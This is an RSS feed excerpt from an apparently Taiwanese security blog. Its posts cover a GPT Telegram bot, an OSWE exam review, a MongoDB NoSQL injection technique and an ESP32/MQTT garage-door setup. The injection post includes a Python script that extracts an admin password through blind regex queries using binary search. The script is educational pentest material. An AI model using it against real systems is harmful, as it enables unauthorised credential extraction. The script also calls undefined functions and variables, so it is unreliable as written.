&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; openai
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;openai&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;api_key &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; os&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;getenv(&lt;span style="color:#f1fa8c"&gt;&amp;#34;OPENAI_API_KEY&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;start_sequence &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;A:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;restart_sequence &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;Q: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;response &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; openai&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;Completion&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;create(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;text-davinci-003&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; prompt&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;Q: &amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; temperature&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_tokens&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;100&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; top_p&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; frequency_penalty&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; presence_penalty&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stop&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;[&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="telegram-api"&gt;Telegram API&lt;/h2&gt;
&lt;p&gt;接下來到 Telegram 的 BotFather 來新增 Bot&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/tuNgxRF.png"&gt;&lt;/p&gt;</description></item><item><title>如果我說 OSWE 很好考會不會有人想打我</title><link>http://blog.stevenyu.tw/2022/11/27/%E5%A6%82%E6%9E%9C%E6%88%91%E8%AA%AA-oswe-%E5%BE%88%E5%A5%BD%E8%80%83%E6%9C%83%E4%B8%8D%E6%9C%83%E6%9C%89%E4%BA%BA%E6%83%B3%E6%89%93%E6%88%91/</link><pubDate>Sun, 27 Nov 2022 21:29:27 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/11/27/%E5%A6%82%E6%9E%9C%E6%88%91%E8%AA%AA-oswe-%E5%BE%88%E5%A5%BD%E8%80%83%E6%9C%83%E4%B8%8D%E6%9C%83%E6%9C%89%E4%BA%BA%E6%83%B3%E6%89%93%E6%88%91/</guid><description>&lt;p&gt;前陣子報名了 OSWE / AWAE 的課程，在空閒的時間學習，終於在一個半月的時間內考到了 OSWE 證照，趁還沒有忘記之前來寫一下心得文。&lt;/p&gt;
&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;我覺得要提到資安證照，不得不提到 Paul Jerimy Media 上的 &lt;a href="https://pauljerimy.com/security-certification-roadmap/"&gt;Security Certification Roadmap&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/54yrEKK.png"&gt;&lt;/p&gt;
&lt;p&gt;以目前 2022 年 8 月最新版，該列表上的資安證照總共有 460 張，目前我持有的基本上都偏向右邊的 Security Operations 部分。 包含了本次的 OSWE、OSCP 以及不予置評的 LPT 及 CPENT，ㄏㄏ。&lt;/p&gt;
&lt;p&gt;正常來說在這張表上，越上面的代表專業程度越高，也越難。但有許多證照雖然在同樣的領域，因為考試方向不同，如大多數都是選擇題或暴力破解之類的 (我就不說是哪張了 ……)，所以我認為難度也僅供參考，不建議拿來做直接的比較。&lt;/p&gt;
&lt;p&gt;目前以紅隊、滲透檢測相關的入門證照，大家最推的通常都是 OSCP， OSCP 在 Offensive Security 中，課程代號為 PEN-200，屬於 200 系列的課程。 OSWE 則是 WEB-300，屬於更高階的課，以同一間公司而言，理論上也會更困難一點？&lt;/p&gt;
&lt;p&gt;我個人的背景是，去年年底取得 OSCP 證照；而大學及研究所時期都有玩過一些 CTF，雖然 CTF 的各領域都有基本的涉略，但最熟悉的方向是以 Web 網頁安全為主。&lt;/p&gt;
&lt;h2 id="awae-課程內容"&gt;AWAE 課程內容&lt;/h2&gt;
&lt;p&gt;這邊由於課程規定的部分，我不方便說明太多，不過可以依照官網有提供的內容來進行介紹。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cross-Origin Resource Sharing (CORS) with CSRF and RCE&lt;/li&gt;
&lt;li&gt;JavaScript Prototype Pollution&lt;/li&gt;
&lt;li&gt;Advanced Server Side Request Forgery&lt;/li&gt;
&lt;li&gt;Web security tools and methodologies&lt;/li&gt;
&lt;li&gt;Source code analysis&lt;/li&gt;
&lt;li&gt;Persistent cross-site scripting&lt;/li&gt;
&lt;li&gt;Session hijacking&lt;/li&gt;
&lt;li&gt;.NET deserialization&lt;/li&gt;
&lt;li&gt;Remote code execution&lt;/li&gt;
&lt;li&gt;Blind SQL injections&lt;/li&gt;
&lt;li&gt;Data exfiltration&lt;/li&gt;
&lt;li&gt;Bypassing file upload restrictions and file extension filters&lt;/li&gt;
&lt;li&gt;PHP type juggling with loose comparisons&lt;/li&gt;
&lt;li&gt;PostgreSQL Extension and User Defined Functions&lt;/li&gt;
&lt;li&gt;Bypassing REGEX restrictions&lt;/li&gt;
&lt;li&gt;Magic hashes&lt;/li&gt;
&lt;li&gt;Bypassing character restrictions&lt;/li&gt;
&lt;li&gt;UDF reverse shells&lt;/li&gt;
&lt;li&gt;PostgreSQL large objects&lt;/li&gt;
&lt;li&gt;DOM-based cross site scripting (black box)&lt;/li&gt;
&lt;li&gt;Server side template injection&lt;/li&gt;
&lt;li&gt;Weak random token generation&lt;/li&gt;
&lt;li&gt;XML external entity injection&lt;/li&gt;
&lt;li&gt;RCE via database functions&lt;/li&gt;
&lt;li&gt;OS command injection via WebSockets (black box)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其實從這邊的項目可以看出來，對於一個常打 CTF 的 Web 🐱 而言，這些問題應該都不陌生，而且我個人認為都偏比較老的洞，並沒有那麼現代 CTF 那些噁心的東西，當然想要用各種噁心的手法，如遇到 LFI 使用 Session Upload Progress 來解應該還是可行。&lt;/p&gt;</description></item><item><title>MongoDB noSQLInjection with Binary Search</title><link>http://blog.stevenyu.tw/2022/11/15/mongodb-nosqlinjection-with-binary-search/</link><pubDate>Tue, 15 Nov 2022 14:35:47 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/11/15/mongodb-nosqlinjection-with-binary-search/</guid><description>&lt;p&gt;MongoDB 上面的 Injection 通常都可以直接使用 &lt;code&gt;[$ne]&lt;/code&gt; 來做萬用解，但如果我們的目標不只是登入，而是想要 query 到指定目標的話，參考 &lt;a href="https://book.hacktricks.xyz/pentesting-web/nosql-injection"&gt;HackTricks&lt;/a&gt; 可以看出。在 Blind 的情境底下，可以透過 regex 的方法來進行解答。&lt;/p&gt;
&lt;p&gt;不過 &lt;a href="https://book.hacktricks.xyz/pentesting-web/nosql-injection"&gt;HackTricks&lt;/a&gt; 或是 &lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection"&gt;PayloadsAllTheThings&lt;/a&gt; 中，使用的方法通常都是直接對 strings 進行爆破。&lt;/p&gt;
&lt;p&gt;這會出現耗時，以及遇到 Regex 保留字時的問題。因此，我透過 regex 的 unicode 功能，寫了一款類似於傳統 SQL injection 中，透過 Binary Search 的方法來取得密碼，廢話不多說，直接上 Code。 使用上來看，只需要變更 query 函數中的條件，即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; urllib.parse
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;def&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;query&lt;/span&gt;(q):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; res &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;get(&lt;span style="color:#f1fa8c"&gt;r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;http://127.0.0.1:8791/?user=admin&amp;amp;pass[$regex]=&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; q)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;Success&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; res&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;return&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;return&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;def&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;binary_search&lt;/span&gt;(left, right, query_s, query_f, v&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;while&lt;/span&gt; right &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; left &lt;span style="color:#ff79c6"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;3&lt;/span&gt;: &lt;span style="color:#6272a4"&gt;# 4:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; guess &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;int&lt;/span&gt;(left&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;(right&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;left)&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; old_left &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; left
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; left &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; guess
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; command &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; urllib&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;parse&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;quote(&lt;span style="color:#f1fa8c"&gt;r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;^.{&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}[\x{&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}-\x{&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}].{&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;%&lt;/span&gt; (index, &lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;hex&lt;/span&gt;(&lt;span style="color:#8be9fd;font-style:italic"&gt;int&lt;/span&gt;(left))[&lt;span style="color:#bd93f9"&gt;2&lt;/span&gt;:]&lt;span style="color:#f1fa8c"&gt;:&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;0&amp;gt;4&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;, &lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;hex&lt;/span&gt;(&lt;span style="color:#8be9fd;font-style:italic"&gt;int&lt;/span&gt;(right))[&lt;span style="color:#bd93f9"&gt;2&lt;/span&gt;:]&lt;span style="color:#f1fa8c"&gt;:&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;0&amp;gt;4&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;, length&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;index&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; query(command):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; left &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; guess
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; right &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; guess
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; left &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; old_left
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;left&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt; ~ &lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;right&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt; , end&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;range&lt;/span&gt;(left,right&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; command &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; urllib&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;parse&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;quote(&lt;span style="color:#f1fa8c"&gt;r&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;^.{&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}[\x{&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}].{&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;%s&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;%&lt;/span&gt; (index, &lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;hex&lt;/span&gt;(&lt;span style="color:#8be9fd;font-style:italic"&gt;int&lt;/span&gt;(i))[&lt;span style="color:#bd93f9"&gt;2&lt;/span&gt;:]&lt;span style="color:#f1fa8c"&gt;:&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;0&amp;gt;4&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;, length&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;index&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;1&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#6272a4"&gt;# print(command)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt; query(command):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;[!] Answer: &lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;i&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt; (&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;chr&lt;/span&gt;(i)&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;)&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;return&lt;/span&gt; i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;length &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; get_len()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;f&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;String Length = &lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;{&lt;/span&gt;length&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; i &lt;span style="color:#ff79c6"&gt;in&lt;/span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;range&lt;/span&gt;(length):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;append(&lt;span style="color:#8be9fd;font-style:italic"&gt;chr&lt;/span&gt;(binary_search_content(index&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;i,length&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;length)))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;join(r))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>利用 Home Assistant + ESP32 透過 Siri 開門</title><link>http://blog.stevenyu.tw/2022/10/17/%E5%88%A9%E7%94%A8-home-assistant-esp32-%E9%80%8F%E9%81%8E-siri-%E9%96%8B%E9%96%80/</link><pubDate>Mon, 17 Oct 2022 18:10:33 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/10/17/%E5%88%A9%E7%94%A8-home-assistant-esp32-%E9%80%8F%E9%81%8E-siri-%E9%96%8B%E9%96%80/</guid><description>&lt;p&gt;家裡的一個鐵捲門遙控器按鈕接觸不良，所以我買了一個新的，而舊的就可以直接拆下來玩了！ 手邊剛好有一套 4 路的繼電器模組，因此我就做了一點點改裝，達成透過手機遙控鐵門的開關！&lt;/p&gt;
&lt;h2 id="硬體"&gt;硬體&lt;/h2&gt;
&lt;p&gt;硬體部份其實滿簡單的，開發版我採用了 ESP32S ，多了一個 S 最大的優點是，他的 GPIO 輸出為 5V，使用起來會比普通 ESP32 的 3.3V 方便很多。&lt;/p&gt;
&lt;p&gt;把遙控器拆開後，透過電表量一下開關的接點，並直接把線焊出來接上繼電器即可，這邊沒有太大的技術難度。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/pba24Ao.png"&gt;&lt;/p&gt;
&lt;h2 id="mqtt-server"&gt;MQTT Server&lt;/h2&gt;
&lt;p&gt;ESP32 透過接收 MQTT 是最簡單的方法，我直接把 MQTT Server 架在我的 GCP 上，使用 Eclipse Mosquitto 的 Docker Compose&lt;/p&gt;
&lt;p&gt;docker-compose.yml 由於我用不到 9001 Port，所以就將它著解掉&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;version&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;3&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;services&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;mosquitto&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;image&lt;/span&gt;: eclipse-mosquitto
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;volumes&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - ./:/mosquitto/:rw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;ports&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#bd93f9"&gt;1883&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;1883&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# - 9001:9001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;config/mosquitto.conf 則開啟了 password_file 的功能&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;persistence true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;persistence_location /mosquitto/data/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;log_dest file /mosquitto/log/mosquitto.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;listener 1883
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;socket_domain ipv4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;## Authentication ##
